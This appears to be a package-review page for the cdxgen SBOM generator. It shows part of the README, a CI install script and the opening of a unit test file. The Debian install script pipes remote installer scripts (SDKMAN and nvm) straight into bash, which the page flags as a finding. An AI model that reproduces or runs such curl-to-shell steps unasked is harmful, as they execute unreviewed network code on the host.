- To generate SBOM for C or Python, cdxgen uses the bundled atom companion. On linux-amd64, linux-arm64 (glibc), linux-amd64-musl, darwin-arm64, and windows-amd64, atom ships as a native binary and needs no JDK. Only the jar-based triples (darwin-amd64, windows-arm64, and linux-arm64-musl) run atom on the JVM.
- ```shell
- cdxgen -t c -o bom.json
- ```
- NOTE: On the jar-based triples, atom requires Java >= 23 and is known to freeze with Java 8 or 11, so ensure a suitable version is installed and the JAVA_HOME environment variable is configured correctly. If in doubt, use the cdxgen container image.
- ## Universal SBOM
- By passing the type argument `-t universal`, cdxgen could be forced to opportunistically collect as many components and services as possible by scanning all package, container, and Kubernetes manifests. The resulting SBOM could have over a thousand components, thus requiring additional triaging before use with traditional SCA tools.
- ## SBOM server
- Invoke cdxgen with `--server` argument to run it in server mode. By default, it listens to port `9090`, which can be customized with the arguments `--server-host` and `--server-port`.
- ```shell
- cdxgen --server
- ```
- Or use the container image.
- ```bash
- docker run --rm -v /tmp:/tmp -p 9090:9090 -v $(pwd):/app:rw -t ghcr.io/cdxgen/cdxgen -r /app --server --server-host 0.0.0.0
- ```
- Use curl or your favorite tool to pass arguments to the `/sbom` route.
- ### Server arguments
- Arguments can be passed either via the query string or as a JSON body. Please refer to [Server Usage][docs-server]
- ### Health endpoint
- Use the /health endpoint to check if the SBOM server is up and running.
- ```shell
- curl "http://127.0.0.1:9090/health"
- ```
- ### Scanning a local path
- ```shell
- curl "http://127.0.0.1:9090/sbom?path=/Volumes/Work/sandbox/vulnerable-aws-koa-app&multiProject=true&type=js"
- ```
- ### Scanning a git repo
- ```shell
- curl "http://127.0.0.1:9090/sbom?url=https://github.com/HooliCorp/vulnerable-aws-koa-app.git&multiProject=true&type=js"
- ```
- If you need to pass credentials to authenticate.
- ```shell
- curl "http://127.0.0.1:9090/sbom?url=https://<access_token>@github.com/some/repo.git&multiProject=true&type=js"
- curl "http://127.0.0.1:9090/sbom?url=https://<username>:<password>@bitbucket.org/some/repo.git&multiProject=true&type=js"
- ```
- You can POST the arguments.
- ```bash
- curl -H "Content-Type: application/json" http://localhost:9090/sbom -XPOST -d $'{"url": "https://github.com/HooliCorp/vulnerable-aws-koa-app.git", "type": "nodejs", "multiProject": "true"}'
- ```
- ### Review-first dry runs
- When you want to inspect what cdxgen would do before allowing side effects, use `--dry-run`.
- ```shell
- cdxgen --dry-run -p -t js .
- ```
- Dry-run mode keeps cdxgen read-only: it reads local files, blocks writes/exec/temp creation/cloning/submission, and prints an activity summary table for both beginners and power users. When available, the recorded activity data also captures archive extraction intent, command I/O volume, and followed symlink-resolution traces.
- ### Docker compose
- ```shell
- git clone https://github.com/cdxgen/cdxgen.git
- docker compose up
- ```
- ## War file support
- cdxgen can generate a BOM file from a given war file.
- ```shell
- # cdxgen -t java app.war
- cdxgen app.war
- ```
- ## Resolving licenses
- cdxgen can automatically query public registries such as maven, npm, or nuget to resolve the package licenses. This is a time-consuming operation and is disabled by default. To enable, set the environment variable `FETCH_LICENSE` to `true`, as shown. Ensure that `GITHUB_TOKEN` is set or provided by [built-in GITHUB_TOKEN in GitHub Actions][github-rate-limit], otherwise rate limiting might prevent license resolving.
- ```bash
- export FETCH_LICENSE=true
- ```
- ## Dependency Tree
- cdxgen can retain the dependency tree under the `dependencies` attribute for a small number of supported package manifests. These are currently limited to:
- - package-lock.json
- - yarn.lock
- - pnpm-lock.yaml
- - Maven (pom.xml)
- - Gradle
- - Scala SBT
- - Python (requirements.txt, setup.py, pyproject.toml, poetry.lock)
- - .NET (packages.lock.json, project.assets.json, paket.lock, .nuspec/.nupkg)
- - Go (go.mod)
- - PHP (composer.lock)
- - Ruby (Gemfile.lock)
- - Rust (Cargo.lock)
- ## Plugins
- `cdxgen` can be extended with external binary plugins to support more SBOM use cases. These are installed as optional dependencies and can be used without a global install.
- ```shell
- pnpm dlx @cdxgen/cdxgen-plugins-bin
- ```
- ## Coding agent plugin
- The cdxgen toolkit is also packaged as a plugin for coding agents, so agents drive the correct command and flags, including the dry-run-first and no-auto-install safety constraints, instead of guessing. It is meant for Claude Code, OpenAI Codex, the GitHub Copilot CLI and app, Cursor, Gemini CLI, Kiro and opencode, and has been tried in Claude Code and Codex so far.
- ```shell
- claude plugin marketplace add cdxgen/cdxgen
- claude plugin install cdxgen@cdxgen-plugins
- ```
- ```shell
- codex plugin marketplace add cdxgen/cdxgen
- codex plugin add cdxgen@cdxgen-plugins
- ```
- It ships skills covering SBOM generation, container and rootfs scans, OBOM/HBOM, CBOM, AI-BOM and MCP inventory, BOM auditing, signing, validation, conversion, evidence enrichment, runtime tracing, and Dependency-Track publishing. See [agent-plugin/README.md](agent-plugin/README.md) and the [installation guide](docs/AGENT_PLUGINS.md) for each client. To run cdxgen through an agent in GitHub Actions, see the [agent CI recipes](docs/AGENT_CI.md).
- ## Rust accelerator (cdxrs)
- cdxgen ships with an optional Rust accelerator binary, `cdxrs`, which speeds up hot paths such as registry metadata lookups where available. Use the `--rust` and `--no-rust` arguments to toggle it, or set the environment variable `CDXGEN_RS_DISABLE=all` to force the JavaScript path. See the [cdxrs protocol](./docs/CDXRS_PROTOCOL.md) document for implementation details.
- ## Metadata cache
- cdxgen caches registry metadata on disk to speed up repeat runs. Use the `cdxgen cache <info|clear>` subcommand to inspect or purge the cache, the `--cache` and `--cache-ttl` arguments to control it per run, or the `CDXGEN_NO_CACHE` and `CDXGEN_CACHE_TTL` environment variables for the same effect.
- ## Docker / OCI container support
- `docker` type is automatically detected based on the presence of values such as `sha256` or `docker.io` prefix etc in the path.
- ```shell
- cdxgen odoo@sha256:4e1e147f0e6714e8f8c5806d2b484075b4076ca50490577cdf9162566086d15e -o /tmp/bom.json
- ```
- You can also pass `-t docker` with repository names. Only the `latest` tag would be pulled if none was specified.
- ```shell
- cdxgen shiftleft/scan-slim -o /tmp/bom.json -t docker
- ```
- For offline or staged scans, point cdxgen at a locally reconstructed root filesystem directory. The container pipeline accepts `-t docker`, `-t rootfs`, or `-t oci-dir` for this mode.
- ```shell
- cdxgen /tmp/remote_target -o /tmp/bom.json -t rootfs
- ```
- With the packaged helpers installed, rootfs and container BOMs gain repository trust-source components, deep keyring / CA-store `cryptographic-asset` components, native CycloneDX origin fields such as `supplier`, `manufacturer`, and `authors` for OS package trust metadata, plus additional package trust-state properties such as `PackageArchitecture`, `PackageSource`, and `PackageStatus`.
- You can also pass the .tar file of a container image.
- ```shell
- docker pull shiftleft/scan-slim
- docker save -o /tmp/slim.tar shiftleft/scan-slim
- podman save -q --format oci-archive -o /tmp/slim.tar shiftleft/scan-slim
- cdxgen /tmp/slim.tar -o /tmp/bom.json -t docker
- ```
- ### Podman in rootless mode
- Setup podman in either [rootless][podman-github-rootless] or [remote][podman-github-remote] mode
- Do not forget to start the podman socket required for API access on Linux.
- ```shell
- systemctl --user enable --now podman.socket
- systemctl --user start podman.socket
- podman system service -t 0 &
- ```
- ### WSL Containers (wslc) on Windows
- On Windows, Docker Desktop is optional when [WSL Containers][wsl-containers-docs] is available. cdxgen automatically uses the `wslc` CLI (included with WSL 2.9.3 or higher) to pull, inspect, and export images whenever the docker CLI is not installed, so image scans such as the below work with just WSL:
- ```shell
- wsl --update
- cdxgen alpine:latest -t oci -o bom.json
- ```
- Set `DOCKER_CMD=wslc` to prefer wslc even when a docker CLI is installed. See [Generating container SBOM on Windows](./ADVANCED.md#generating-container-sbom-on-windows) for requirements, including the nested virtualization needed when Windows itself runs inside a VM.
- ## Generate OBOM for a live system
- You can use the `obom` command to generate an OBOM for a live system or a VM for compliance and vulnerability management purposes. Linux, Windows, and macOS are supported in this mode, though some macOS tables require elevated privileges and Full Disk Access.
- ```shell
- # obom is an alias for cdxgen -t os
- obom
- # cdxgen -t os
- ```
- This feature is powered by osquery, which is [installed](https://github.com/cdxgen/cdxgen-plugins-bin/blob/main/build.sh#L8) along with the binary plugins. cdxgen would opportunistically try to detect as many components, apps, and extensions as possible using the platform-specific default queries under `data/queries*.json`. The Linux profile includes dedicated `sysctl_hardening` and `mount_hardening` snapshots, GTFOBins enrichment for privileged and network-active runtime rows, Secure Boot certificate inventory, and improved npm package discovery. When the optional `trustinspector` helper is available, OBOM collection is further enriched with:
- - macOS code-signing authority, team ID, and notarization assessment metadata for discovered application paths
- - Windows Authenticode signer/timestamp metadata for discovered executable paths
- - Windows WDAC active-policy inventory
- - batched path inspection so large host inventories keep their trust metadata instead of stopping at the first few hundred paths
- Container and rootfs BOMs also summarize how many executable and shared-library file components were discovered outside OS package ownership. Look for `cdx:container:unpackagedExecutableCount` and `cdx:container:unpackagedSharedLibraryCount` in metadata, or use `.unpackagedbins` and `.unpackagedlibs` in `cdxi` for an interactive pivot.
- The process would take several minutes and result in an SBOM file with thousands of components of various types, such as operating-system, device-drivers, files, and data.
- For practical SOC/IR and compliance workflows, see the dedicated [OBOM lessons](./docs/OBOM_LESSONS.md). For macOS-specific setup and permission caveats, see [OBOM macOS troubleshooting](./docs/OBOM_MACOS_TROUBLESHOOTING.md). For compact before/after examples of the new trust metadata, see [Trust enrichment BOM diff examples](./docs/TRUST_ENRICHMENT_DIFF.md).
- ## Generate Cryptography Bill of Materials (CBOM)
- Use the `cbom` alias to generate a CBOM. In addition to keystores and certificates, cdxgen can also derive cryptographic algorithm inventory from JavaScript and TypeScript source by following lightweight constant propagation through common `node:crypto`, WebCrypto, and JWT call sites.
- ```shell
- cbom -t java
- # cdxgen -t java --include-crypto -o bom.json .
- # Add source-derived crypto algorithms for a JS or TS project
- cdxgen --include-crypto -o bom.json /absolute/path/to/js-project
- ```
- When reviewing the result in `cdxi`, use `.cryptos` for the full cryptographic asset view or `.sourcecryptos` to narrow the list to source-derived algorithm components only.
- ## Generating SaaSBOM and component evidences
- See [evinse mode](./ADVANCED.md) in the advanced documentation.
- ---
- ## BOM signing
- cdxgen features a best-in-class, native **JSON Signature Format (JSF)** implementation for BOM signing, providing robust authenticity and non-repudiation capabilities. Unlike basic signing tools, our implementation fully supports granular signatures (signing individual components, services, and annotations), parallel Multi-Signatures (`signers`), and sequential Signature Chains (`chain`).
- To enable automatic signing during BOM generation, set the following environment variables:
- - `SBOM_SIGN_ALGORITHM`: JSF Algorithm. Examples: `RS512`, `ES256`, `Ed25519`, `HS256`. It must match the key type.
- - `SBOM_SIGN_PRIVATE_KEY`: Location of the private key (PEM format), or of the shared secret for `HS256`, `HS384`, and `HS512`
- - `SBOM_SIGN_PUBLIC_KEY`: Optional. Location of the public key to embed. It must belong to the private key.
- - `SBOM_SIGN_MODE`: Optional. Signature mode (`replace`, `signers`, `chain`). Default is `replace`.
- To quickly generate a test key pair for `SBOM_SIGN_ALGORITHM` and sign your first BOM, you can run cdxgen with the `--generate-key-and-sign` argument.
- When signing is configured (`SBOM_SIGN_ALGORITHM` plus a private key), cdxgen signs the BOM it writes, prints, or submits to Dependency-Track, and exits with status 1 if it cannot sign it, including when the key file is missing. A private key without `SBOM_SIGN_ALGORITHM` leaves the BOM unsigned and prints a warning; set `SBOM_SIGN_ALGORITHM=none` to opt out explicitly.
- BOMs signed with cdxgen 13.2.0 or earlier must be re-signed with the current `cdx-sign` before they verify. See [cdx-sign](docs/CDX_SIGN.md#re-signing-boms-from-earlier-releases).
- ### Advanced Signing with `cdx-sign`
- For complex supply chain orchestration, use the bundled `cdx-sign` CLI. This tool allows multiple entities (e.g., a Builder and an Auditor) to co-sign an existing BOM without modifying its original data.
- ```shell
- # Append a parallel multi-signature (Auditor co-signing) after checking the Builder's signature
- # Note: Granular component signing is disabled to preserve the Builder's original signature payload.
- cdx-sign -i bom.json -k auditor_private.pem -a ES256 --key-id "auditor-qa" --mode signers --no-sign-components --verify-existing-with builder_public.pem
- ```
- ### Validating CycloneDX BOMs
- Use the bundled `cdx-validate` command to validate CycloneDX BOMs against **structural**, **deep**, and **compliance** checks. Refer to this [document](./docs/CDX_VALIDATE.md) for usage.
- ### Verifying the signature
- Use the bundled `cdx-verify` command to validate BOM signatures. By default, `cdx-verify` performs a **strict deep verification**, meaning it mathematically validates the top-level BOM signature _and_ the signatures of every nested component, service, and annotation against the provided public key. Refer to this [lesson](./docs/LESSON6.md) for the usage of sign and verify commands.
- ```shell
- npm install -g @cdxgen/cdxgen --omit=optional --ignore-scripts --min-release-age=2
- # Perform strict deep verification (default)
- cdx-verify -i bom.json --public-key public.key
- # Verify ONLY the top-level root signature (useful for verifying a multi-signer who didn't sign nested components)
- cdx-verify -i bom.json --public-key auditor_public.key --no-deep
- # Require every co-signer
- cdx-verify -i bom.json --public-key builder_public.key --public-key auditor_public.key --require-all
- ```
- ### Verifying the signature (pnpm)
- You can run the verification tools directly using pnpm (no global install needed):
- ```shell
- pnpm dlx @cdxgen/cdxgen cdx-verify -i bom.json --public-key public.key
- ```
- You can also use pnpm to invoke the signing tool:
- ```shell
- pnpm dlx @cdxgen/cdxgen cdx-sign -i bom.json -k private.key
- ```
- ---
- ## Automatic usage detection
- For node.js projects, lock files are parsed initially, so the SBOM would include all dependencies, including dev ones. An AST parser powered by babel-parser is then used to detect packages that are imported and used by non-test code. Such imported packages would automatically set their scope property to `required` in the resulting SBOM. A package with no observed usage keeps the scope from the lock file, since packages loaded from configuration, bundler entrypoints, stylesheets, or plugins are invisible to import analysis. A package imported only for its TypeScript types is scoped `excluded`, and a package that only such packages depend on is scoped `optional`. You can turn off this analysis by passing the argument `--no-babel`. Scope property would then be set based on the `dev` attribute in the lock file.
- Single-file component frameworks are handled natively by this analysis: `.vue` and `.svelte` templates are segmented position-preservingly so script imports recover with correct file and line evidence. For Svelte and SvelteKit, framework usage signals are additionally collected — SvelteKit virtual modules such as `$app/stores` are attributed to `@sveltejs/kit`, `$lib/*` imports resolve through `kit.alias`, `svelte.config.js` adapters and preprocessors, CSS preprocessor packages implied by `<style lang="...">` blocks together with their `@use`/`@import` package references, npm script executables such as `svelte-kit sync` and `svelte-check`, and rune usage (`$state`, `$derived`, ...) which marks `svelte` required even in components that never import it. This works in every installation; when the optional `@appthreat/atom-parsetools` package is present, template expressions also contribute usage occurrences.
- This attribute can be later used for various purposes. For example, [dep-scan][depscan-github] uses this attribute to prioritize vulnerabilities. Unfortunately, tools such as dependency track, do not include this feature and might over-report the CVEs.
- With the argument `--required-only`, you can limit the SBOM only to include packages with the scope "required", commonly called production or non-dev dependencies. Combine with `--no-babel` to limit this list to only non-dev dependencies based on the `dev` attribute being false in the lock files.
- For go, `go list -deps` lists the modules the project's packages import, and a module is scoped `required` when go.mod requires it directly and `optional` when the requirement is `// indirect`. With `USE_GOSUM=true`, `go mod why` scopes each go.sum module instead: `required` when the main module needs it, and `optional` when go reports that it does not. If `go mod why` fails, no module is scoped `optional`. For php, composer lock file is parsed to distinguish required (packages) from optional (packages-dev).
- ## Automatic services detection
- cdxgen can automatically detect names of services from YAML manifests such as docker-compose, Kubernetes, or Skaffold manifests. These would be populated under the `services` attribute in the generated SBOM. With [evinse](./ADVANCED.md), additional services could be detected by parsing common annotations from the source code.
- ## Conversion to SPDX format
- For direct conversion of an existing CycloneDX JSON BOM to SPDX JSON-LD, use
- the bundled `cdx-convert` command:
- ```shell
- cdx-convert -i bom.json -o bom.spdx.json
- ```
- `cdx-convert` currently supports CycloneDX 1.6, 1.7, and 2.0 inputs, accepts and
- produces protobuf, and exports SPDX 3.0.1 JSON-LD. The `--to` argument accepts
- either `spdx` or a CycloneDX spec version (1.5, 1.6, or 1.7) for
- CycloneDX-to-CycloneDX cross-version conversion, which is also the recommended
- way to produce 1.5 output for legacy consumers.
- Use `cdxgen --format spdx` (or `--format cyclonedx,spdx`) when generating BOMs.
- Use the [CycloneDX CLI][cyclonedx-cli-github] tool for advanced use cases such
- as diff and merging.
- To distribute BOMs through the Transparency Exchange API (TEA), use the
- `--tea-fetch` and `--tea-publish` arguments. See the [TEA lesson](docs/LESSON20.md)
- for usage.
- ## Including .NET Global Assembly Cache dependencies in the results
- For `dotnet` and `dotnet-framework`, SBOM could include components without a version number. Often, these components begin with the prefix `System.`.
- Global Assembly Cache (GAC) dependencies (System Runtime dependencies) must be made available in the build output of the project for version detection. A simple way to have the dotnet build copy the GAC dependencies into the build directory is to place the file `Directory.Build.props` into the root of the project and ensure the contents include the following:
- ```
- <Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
- <ItemDefinitionGroup>
- <Reference>
- <Private>True</Private>
- </Reference>
- </ItemDefinitionGroup>
- </Project>
- ```
- Then, run cdxgen cli with the `--deep` argument.
- ## License
- Permission to modify and redistribute is granted under the terms of the Apache 2.0 license. See the [LICENSE][github-license] file for the full license.
- ## Integration as library
- cdxgen is [ESM only](https://gist.github.com/sindresorhus/a39789f98801d908bbc7ff3ecc99d99c) and could be imported and used with both deno and Node.js >= 24
- Minimal example:
- ```ts
- import { createBom, submitBom } from "npm:@cdxgen/cdxgen@^13";
- ```
- See the [Deno Readme](./contrib/deno/README.md) for detailed instructions.
- ```javascript
- import { createBom, submitBom } from "@cdxgen/cdxgen";
- // bomNSData would contain bomJson
- const bomNSData = await createBom(filePath, options);
- // Submission to dependency track server
- const dbody = await submitBom(args, bomNSData.bomJson);
- ```
- ## Contributing
- Please check out our [open issues][github-contribute] if you are interested in helping.
- ### Codeberg Mirror
- The project is mirrored on [Codeberg](https://codeberg.org/cdxgen/cdxgen). Users can clone the repository using the following URL:
- ```shell
- git clone https://codeberg.org/cdxgen/cdxgen.git
- ```
- The maintainers accept Pull Requests (PRs) against the Codeberg repository.
- > **Note:** The Codeberg repository is currently synced manually from GitHub.
- Before raising a PR, please run the following commands.
- ```shell
- corepack enable pnpm
- pnpm install:frozen
- # Generate types using jsdoc syntax
- pnpm run gen-types
- # Run biomejs formatter and linter with auto fix
- pnpm run lint
- # Run poku tests
- pnpm test
- ```
- ### Testing main branch
- Use `pnpm add -g` command to quickly test the main branch.
- ```shell
- corepack pnpm bin -g
- corepack pnpm setup
- corepack pnpm add -g https://github.com/cdxgen/cdxgen
- cdxgen --help
- ```
- ### Testing main branch (No Global Install)
- To quickly test the latest main branch without installing globally, you can use `pnpm` in a local or temporary environment.
- ```shell
- corepack enable
- pnpm install --prefer-offline
- pnpm dlx cdxgen --help
- ```
- ## Sponsors
- <div style="display: flex; align-items: center; gap: 20px;">
- <img src="./docs/_media/GithubLogo-LightBg.png" width="180" height="180">
- <img src="./docs/_media/MicrosoftLogo.png" width="180" height="180">
- </div>
- Some features are funded through [NGI Zero Core](https://nlnet.nl/core), a fund established by [NLnet](https://nlnet.nl) with financial support from the European Commission's [Next Generation Internet](https://ngi.eu) program. Learn more at the [NLnet project page](https://nlnet.nl/project/OWASP-dep-scan).
- [<img src="https://nlnet.nl/logo/banner.png" alt="NLnet foundation logo" width="20%" />](https://nlnet.nl)
- [<img src="https://nlnet.nl/image/logos/NGI0_tag.svg" alt="NGI Zero Logo" width="20%" />](https://nlnet.nl/core)
- cdxgen is an OWASP Foundation production project.
- [<img src="https://owasp.org/assets/images/logo.png" width="20%" />](https://owasp.org)
- ## cdxgen badge
- Copy the below block to your markdown files to show your ❤️ for cdxgen.
- ```markdown
- [](https://github.com/cdxgen/cdxgen)
- ```
- <!-- LINK LABELS -->
- <!-- Badges -->
- [badge-github-contributors]: https://img.shields.io/github/contributors/cdxgen/cdxgen
- [badge-github-license]: https://img.shields.io/github/license/cdxgen/cdxgen
- [badge-github-releases]: https://img.shields.io/github/v/release/cdxgen/cdxgen
- [badge-jsr]: https://img.shields.io/jsr/v/%40cdxgen/cdxgen
- [badge-npm]: https://img.shields.io/npm/v/%40cdxgen%2Fcdxgen
- [badge-npm-downloads]: https://img.shields.io/npm/dy/%40cdxgen%2Fcdxgen
- [badge-swh]: https://archive.softwareheritage.org/badge/origin/https://github.com/cdxgen/cdxgen/
- <!-- cdxgen github project -->
- [github-contribute]: https://github.com/cdxgen/cdxgen/contribute
- [github-contributors]: https://github.com/cdxgen/cdxgen/graphs/contributors
- [github-license]: https://github.com/cdxgen/cdxgen/blob/master/LICENSE
- [github-releases]: https://github.com/cdxgen/cdxgen/releases
- <!-- cdxgen documentation site -->
- [docs-homepage]: https://cdxgen.github.io/cdxgen
- [docs-advanced-usage]: https://cdxgen.github.io/cdxgen/#/ADVANCED
- [docs-cli]: https://cdxgen.github.io/cdxgen/#/CLI
- [docs-env-vars]: https://cdxgen.github.io/cdxgen/#/ENV
- [docs-permissions]: https://cdxgen.github.io/cdxgen/#/PERMISSIONS
- [docs-project-types]: https://cdxgen.github.io/cdxgen/#/PROJECT_TYPES
- [docs-server]: https://cdxgen.github.io/cdxgen/#/SERVER
- [docs-support]: https://cdxgen.github.io/cdxgen/#/SUPPORT
- <!-- web links-->
- [cyclonedx-cli-github]: https://github.com/CycloneDX/cyclonedx-cli
- [depscan-github]: https://github.com/owasp-dep-scan/dep-scan
- [github-rate-limit]: https://docs.github.com/en/rest/overview/rate-limits-for-the-rest-api#primary-rate-limit-for-github_token-in-github-actions
- [homebrew-homepage]: https://brew.sh
- [homebrew-cdxgen]: https://formulae.brew.sh/formula/cdxgen
- [winget-homepage]: https://learn.microsoft.com/en-us/windows/package-manager/winget/
- [jsr-cdxgen]: https://jsr.io/@cdxgen/cdxgen
- [librariesio]: https://libraries.io/npm/@cdxgen%2Fcdxgen
- [npmjs-cdxgen]: https://www.npmjs.com/package/@cdxgen/cdxgen
- [npmjs-cdxgen-v12]: https://www.npmjs.com/package/@cyclonedx/cdxgen
- [podman-github-rootless]: https://github.com/containers/podman/blob/master/docs/tutorials/rootless_tutorial.md
- [podman-github-remote]: https://github.com/containers/podman/blob/master/docs/tutorials/mac_win_client.md
- [wsl-containers-docs]: https://learn.microsoft.com/en-us/windows/wsl/wsl-container
- [swh-cdxgen]: https://archive.softwareheritage.org/browse/origin/?origin_url=https://github.com/cdxgen/cdxgen
ci/images/debian/install.sh · Bundled script · 69 lines · 1 finding marked
- #! /usr/bin/env bash
- set -e
- glibc_version=$(ldd --version | head -n1 | awk '{print $NF}')
- required_version="2.35"
- # Compare versions: if glibc_version < required_version, set the env var
- if [ "$(printf '%s\n%s\n' "$glibc_version" "$required_version" | sort -V | head -n1)" != "$required_version" ]; then
- export npm_config_build_from_source=true
- fi
- if [ x"${ATOM_RUBY_VERSION}" != "x" ]; then
- git clone https://github.com/rbenv/rbenv.git --depth=1 ~/.rbenv
- echo 'export PATH="/root/.rbenv/bin:$PATH"' >> ~/.bashrc
- echo 'eval "$(/root/.rbenv/bin/rbenv init - bash)"' >> ~/.bashrc
- source ~/.bashrc
- mkdir -p "$(rbenv root)/plugins"
- git clone https://github.com/rbenv/ruby-build.git --depth=1 "$(rbenv root)/plugins/ruby-build"
- if [ -n "$RUBY_LANG_URL" ]; then
- sed -i "s|https://cache.ruby-lang.org|$RUBY_LANG_URL|g" $(rbenv root)/plugins/ruby-build/share/ruby-build/*
- fi
- if [ -n "$GITHUB_URL" ]; then
- sed -i "s|https://github.com|$GITHUB_URL|g" $(rbenv root)/plugins/ruby-build/share/ruby-build/*
- fi
- rbenv install $ATOM_RUBY_VERSION -- --disable-install-doc
- if [ -n "$RUBY_LANG_URL" ]; then
- sed -i "s|$RUBY_LANG_URL|https://cache.ruby-lang.org|g" $(rbenv root)/plugins/ruby-build/share/ruby-build/*
- fi
- if [ -n "$GITHUB_URL" ]; then
- sed -i "s|$GITHUB_URL|https://github.com|g" $(rbenv root)/plugins/ruby-build/share/ruby-build/*
- fi
- fi
- if [ x"${SKIP_ATOM}" != "xyes" ]; then
- ARCH_NAME="$(dpkg --print-architecture)"
- # Download atom native binary
- curl -L $GITHUB_URL/AppThreat/atom/releases/latest/download/atom-${ARCH_NAME} -o /usr/local/bin/atom
- chmod +x /usr/local/bin/atom
- /usr/local/bin/atom --help || true
- fi
- if [ x"${JAVA_VERSION}" != "x" ]; then
- curl -L "https://get.sdkman.io" | bash
- Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
- Line 43 on GitHub
- SDKMAN_BROKER_API="${SDKMAN_URL}/broker"
- SDKMAN_CANDIDATES_API="${SDKMAN_URL}"
- chmod +x /root/.sdkman/bin/sdkman-init.sh
- source $HOME/.sdkman/bin/sdkman-init.sh
- printf "sdkman_auto_answer=true\nsdkman_selfupdate_feature=false\nsdkman_auto_env=true\nsdkman_curl_connect_timeout=20\nsdkman_curl_max_time=0" >> $HOME/.sdkman/etc/config
- sdk install java ${JAVA_VERSION}
- if [ x"${MAVEN_VERSION}" != "x" ]; then
- sdk install maven ${MAVEN_VERSION}
- fi
- mv /root/.sdkman/candidates/* /opt/
- rm -rf /root/.sdkman
- fi
- if [ x"${SKIP_PYTHON}" != "xyes" ]; then
- python3 --version
- python3 -m pip install --no-cache-dir --upgrade --ignore-installed pip virtualenv --break-system-packages || true
- python3 -m pip install --no-cache-dir --upgrade pipenv poetry uv --target /opt/pypi
- fi
- if [ x"${SKIP_NODEJS}" != "xyes" ]; then
- curl -o- $GITHUB_RAW_URL/nvm-sh/nvm/$NVM_VERSION/install.sh | bash
- chmod +x /root/.nvm/nvm.sh
- source /root/.nvm/nvm.sh
- nvm install ${NODE_VERSION}
- npm install --global corepack@latest
- fi
lib/cli/bomAssembly.poku.js · Bundled script · 1,296 lines · 1 finding marked
- import { createHash } from "node:crypto";
- import esmock from "esmock";
- import { assert, describe, it } from "poku";
- import sinon from "sinon";
- import { resetRunState } from "../core/runState.js";
- import { CDXGEN_VERSION } from "../core/state.js";
- import {
- getExecutedTools,
- recordExecutedTool,
- resetExecutedTools,
- } from "../core/toolRegistry.js";
- import { getPluginToolComponents } from "../managers/binary.js";
- import { validateBom } from "../validator/bomValidator.js";
- import {
- addExternalReferences,
- addMetadata,
- addToolsSection,
- buildBomNSData,
- dedupeBom,
- HASH_PATTERN,
- listComponents,
- processHashes,
- toOrganizationalEntity,
- } from "./bomAssembly.js";
- import { getNpmPackFilePaths, getProp } from "./bomTestHelpers.poku.js";
- describe("bomAssembly", () => {
- describe("hash normalization", () => {
- const hashesFor = (pkg) => {
- const component = { hashes: [] };
- processHashes(pkg, component);
- return component.hashes ?? [];
- };
- it("converts a base64 integrity to hex", () => {
- const digest = createHash("sha512").update("hello").digest("base64");
- const [hash] = hashesFor({ _integrity: `sha512-${digest}` });
- assert.strictEqual(hash.alg, "SHA-512");
- assert.strictEqual(
- hash.content,
- createHash("sha512").update("hello").digest("hex"),
- );
- });
- it("keeps a hex digest as is", () => {
- const digest = createHash("sha1").update("hello").digest("hex");
- const [hash] = hashesFor({ _shasum: digest });
- assert.strictEqual(hash.content, digest);
- });
- it("drops a digest that decodes to the wrong length", () => {
- // A truncated npm integrity: it decodes, but to 63 bytes rather than 64.
- // Copying it through produced a BOM that failed schema validation.
- const truncated =
- "QIqJf7A1NVCjzCIdA1M6A+0ify9J50nDxzX7QgJ0006AAXMon0AhQI9bQ6tcG4IHHD5woAH+KUnLMaAz9x9A==";
- assert.deepStrictEqual(
- hashesFor({ _integrity: `sha512-${truncated}` }),
- [],
- );
- });
- it("drops a hex digest whose length contradicts its algorithm", () => {
- assert.deepStrictEqual(
- hashesFor({ hashes: [{ alg: "SHA-512", content: "a".repeat(64) }] }),
- [],
- );
- });
- it("emits only spec-valid content for mixed input", () => {
- const good = createHash("sha256").update("hello").digest("base64");
- const hashes = hashesFor({
- hashes: [
- { alg: "SHA-256", content: good },
- { alg: "SHA-512", content: "not a digest" },
- ],
- });
- assert.strictEqual(hashes.length, 1);
- for (const hash of hashes) {
- assert.ok(
- new RegExp(HASH_PATTERN).test(hash.content),
- `${hash.content} must satisfy the CycloneDX hash pattern`,
- );
- }
- });
- });
- describe("component creation", () => {
- it("keeps a purl a file component set for itself", () => {
- // `file` is a NON_PURL_TYPES member so no maven purl is derived for it,
- // but a collector that already resolved a generic purl is taken at its
- // word — this is how unpackaged executables and unidentified archives
- // stay joinable.
- const [component] = listComponents(
- { specVersion: 1.7 },
- undefined,
- [
- {
- name: "mystery.jar",
- type: "file",
- purl: "pkg:generic/mystery.jar#opt/app/mystery.jar",
- "bom-ref": "pkg:generic/mystery.jar#opt/app/mystery.jar",
- },
- ],
- "maven",
- );
- assert.strictEqual(
- component.purl,
- "pkg:generic/mystery.jar#opt/app/mystery.jar",
- );
- assert.strictEqual(
- component["bom-ref"],
- "pkg:generic/mystery.jar#opt/app/mystery.jar",
- );
- });
- it("keeps the CPE a collector recorded, and adds none otherwise", () => {
- // caxa records one for the Node.js runtime it bundles; NVD-based
- // scanners match Node.js by it.
- const [node, other] = listComponents(
- { specVersion: 1.7 },
- undefined,
- [
- {
- name: "node",
- version: "24.21.0",
- purl: "pkg:generic/nodejs/node@24.21.0",
- cpe: "cpe:2.3:a:nodejs:node.js:24.21.0:*:*:*:-:*:*:*",
- },
- {
- name: "left-pad",
- version: "1.3.0",
- purl: "pkg:npm/left-pad@1.3.0",
- },
- ],
- "npm",
- );
- assert.strictEqual(
- node.cpe,
- "cpe:2.3:a:nodejs:node.js:24.21.0:*:*:*:-:*:*:*",
- );
- assert.ok(!Object.hasOwn(other, "cpe"));
- });
- it("carries a well-formed supplier and drops a malformed one", async () => {
- const pkgs = [
- {
- name: "good",
- version: "1.0.0",
- purl: "pkg:npm/good@1.0.0",
- supplier: {
- name: "Example Org",
- url: ["https://example.com"],
- extra: "dropped",
- },
- },
- {
- name: "string-url",
- version: "1.0.0",
- purl: "pkg:npm/string-url@1.0.0",
- supplier: {
- name: "h9e4cc4f_0_cpython",
- url: "https://conda.anaconda.org/conda-forge/x.conda",
- },
- },
- {
- name: "no-name",
- version: "1.0.0",
- purl: "pkg:npm/no-name@1.0.0",
- supplier: { url: ["https://example.com"] },
- },
- {
- name: "string-supplier",
- version: "1.0.0",
- purl: "pkg:npm/string-supplier@1.0.0",
- supplier: "Example Org",
- },
- ];
- const components = listComponents(
- { specVersion: 1.7 },
- undefined,
